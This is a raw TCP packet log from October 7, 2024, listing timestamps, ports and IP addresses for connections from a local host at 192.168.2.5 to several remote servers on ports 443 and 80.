Oct 7, 2024 21:19:00.051362038 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.051430941 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.051444054 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.051570892 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.051592112 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.051604033 CEST	49976	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.051610947 CEST	443	49976	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.054565907 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.054596901 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.054717064 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.054990053 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.054999113 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.059360981 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.059448004 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.059510946 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.059725046 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.059736967 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.059746027 CEST	49975	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.059750080 CEST	443	49975	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.061753988 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.061786890 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.061923027 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.062102079 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.062119961 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.064719915 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.065079927 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.065092087 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.065681934 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.065687895 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.163064957 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.163139105 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.163192987 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.165302992 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.165328979 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.165347099 CEST	49978	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.165354967 CEST	443	49978	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.168589115 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.168648958 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.168715954 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.168873072 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.168891907 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.180496931 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.180525064 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.180576086 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.180588961 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.180835009 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.180851936 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.180862904 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.181015015 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.181054115 CEST	443	49977	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.181101084 CEST	49977	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.185764074 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.185797930 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.186043024 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.186347961 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.186366081 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.378839970 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.379338026 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.379420042 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.379748106 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.379762888 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.506592989 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.506622076 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.506706953 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.506764889 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.506903887 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.506927013 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.506939888 CEST	49979	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.506954908 CEST	443	49979	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.509691000 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.509742975 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.509880066 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.511652946 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.511676073 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.514592886 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:00.514646053 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:00.516062975 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:00.521142960 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:00.727358103 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.727803946 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.727826118 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.728373051 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.728401899 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.738730907 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.743408918 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.743426085 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.743829966 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.743834019 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.748723984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:00.750077009 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:19:00.750355959 CEST	49951	80	192.168.2.5	45.132.206.251
Oct 7, 2024 21:19:00.810540915 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.811124086 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.811157942 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.811609983 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.811619043 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.839231968 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.839741945 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.839764118 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.840183020 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.840189934 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.851207972 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.851233006 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.851308107 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.851320982 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.851380110 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.851476908 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.851798058 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.851798058 CEST	49980	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.851824045 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.851836920 CEST	443	49980	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.854954004 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.854995966 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.855153084 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.855339050 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.855359077 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.889354944 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.889379978 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.889448881 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.889451981 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.889508963 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.889758110 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.889774084 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.889791012 CEST	49981	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.889799118 CEST	443	49981	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.892389059 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.892410040 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.892704010 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.892882109 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.892894030 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.918632984 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.918667078 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.918742895 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.918807030 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.918915033 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.918998003 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.919140100 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.919173956 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.919200897 CEST	49982	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.919217110 CEST	443	49982	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.922096968 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.922205925 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.922285080 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.922435999 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.922470093 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.946588993 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.947334051 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.947458029 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.947458029 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.947491884 CEST	49983	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.947508097 CEST	443	49983	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.950052023 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.950078011 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:00.950189114 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.950297117 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:00.950305939 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.130163908 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.130243063 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.130259991 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.130311966 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.138540030 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.155471087 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.155510902 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.156215906 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.156228065 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.157341003 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.162195921 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.254703999 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.254771948 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.254859924 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.255084991 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.255084991 CEST	49984	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.255117893 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.255141020 CEST	443	49984	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.259027958 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.259083986 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.259160995 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.259279013 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.259305954 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.493273020 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.503376961 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.503396034 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.503848076 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.503855944 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.552562952 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.556109905 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.556145906 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.556519032 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.556529999 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.559063911 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.559719086 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.559739113 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.562772036 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.562777996 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.598634005 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.599023104 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.599045038 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.599422932 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.599427938 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.604521990 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.604589939 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.604655981 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.604846954 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.604866028 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.604877949 CEST	49985	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.604886055 CEST	443	49985	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.607429028 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.607502937 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.607620001 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.607729912 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.607764959 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.658749104 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.658773899 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.658840895 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.658864021 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.659018993 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.659066916 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.659082890 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.659116030 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.659291983 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.659333944 CEST	443	49987	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.659399033 CEST	49987	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.662729025 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.662760973 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.662847996 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.663007021 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.663018942 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.670969009 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.671247005 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.671521902 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.671521902 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.671521902 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.673706055 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.673736095 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.673922062 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.673922062 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.673944950 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.712812901 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.712837934 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.712905884 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.712917089 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.713192940 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.713233948 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.713320017 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.713320017 CEST	49988	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.713335037 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.713342905 CEST	443	49988	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.716164112 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.716213942 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.716284037 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.716445923 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.716463089 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.796494961 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.796539068 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.796591997 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.796624899 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.796659946 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.796683073 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.796683073 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.796683073 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.797136068 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.798340082 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:01.803293943 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:01.921888113 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.922410011 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.922455072 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.922853947 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.922867060 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:01.971627951 CEST	49986	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:01.971657991 CEST	443	49986	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.041770935 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.041848898 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.041894913 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.041975975 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.042049885 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.042088985 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.042113066 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.122807980 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.122896910 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.122925043 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.122961998 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.123051882 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.123073101 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.123086929 CEST	49989	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.123095036 CEST	443	49989	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.125633955 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.125679016 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.125735044 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.125852108 CEST	49994	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.125863075 CEST	443	49994	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.279057980 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.279870033 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.279905081 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.280297995 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.280327082 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.284528971 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.285984039 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.285994053 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.286334991 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.286339998 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.315203905 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.315587997 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.315607071 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.316025019 CEST	49992	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.316032887 CEST	443	49992	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.352296114 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.352888107 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.352933884 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.353348970 CEST	49993	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.353362083 CEST	443	49993	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.408452988 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.408476114 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.408530951 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.408641100 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.408895969 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.408916950 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.408931017 CEST	49990	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.408937931 CEST	443	49990	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.409773111 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.409810066 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.409837008 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.409871101 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.409888029 CEST	443	49991	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.409899950 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.409924030 CEST	49991	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.411747932 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.411787987 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.411874056 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.412038088 CEST	49995	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:19:02.412055016 CEST	443	49995	13.107.253.45	192.168.2.5
Oct 7, 2024 21:19:02.421461105 CEST	80	49973	95.164.90.97	192.168.2.5
Oct 7, 2024 21:19:02.421531916 CEST	49973	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:19:02.424921036 CEST	443	49992	13.107.253.45	192.168.2.5
